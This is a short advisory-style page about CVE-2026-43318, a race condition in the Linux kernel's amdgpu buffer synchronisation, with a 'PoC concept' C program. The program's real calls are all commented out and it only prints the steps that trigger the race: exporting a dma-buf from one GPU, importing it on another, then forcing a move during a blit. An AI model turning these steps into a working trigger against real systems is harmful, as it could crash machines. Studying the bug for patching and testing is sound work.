CVE-2026-43318: Linux内核amdgpu同步处理缺陷

/* * PoC Concept for CVE-2026-43318 * This code demonstrates the logic to trigger the race condition. * Requires a system with 2 AMD GPUs (GPU0, GPU1) and no P2P support. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <drm/amdgpu_drm.h> // Mock function to simulate triggering the scenario void trigger_vulnerability() { // 1. Export linear buffer from GPU0 printf("[+] Step 1: Exporting linear buffer from GPU0...\n"); // int prime_fd = export_dmabuf(gpu0_device, bo_handle); // 2. Import buffer to GPU1 printf("[+] Step 2: Importing buffer using GPU1...\n"); // import_dmabuf(gpu1_device, prime_fd); // 3. Submit frame rendering and blit job to GPU0 printf("[+] Step 3: Submitting blit job to GPU0...\n"); // submit_blit(gpu0_device, bo_handle); // Note: The job is queued but we need to race the move notification. // 4. Trigger move notification while blit is running // This simulates the Xorg copy operation or explicit move printf("[+] Step 4: Triggering buffer move (invalidation) for GPU1...\n"); // amdgpu_dma_buf_move_notify(prime_fd); // This calls amdgpu_vm_handle_moved which updates PT immediately. // 5. Race condition occurs -> Page Fault printf("[!] Step 5: If race won, GPU0 blit job page faults.\n"); } int main() { // Check root privileges if (getuid() != 0) { printf("Privileges required.\n"); return 1; } trigger_vulnerability(); return 0; }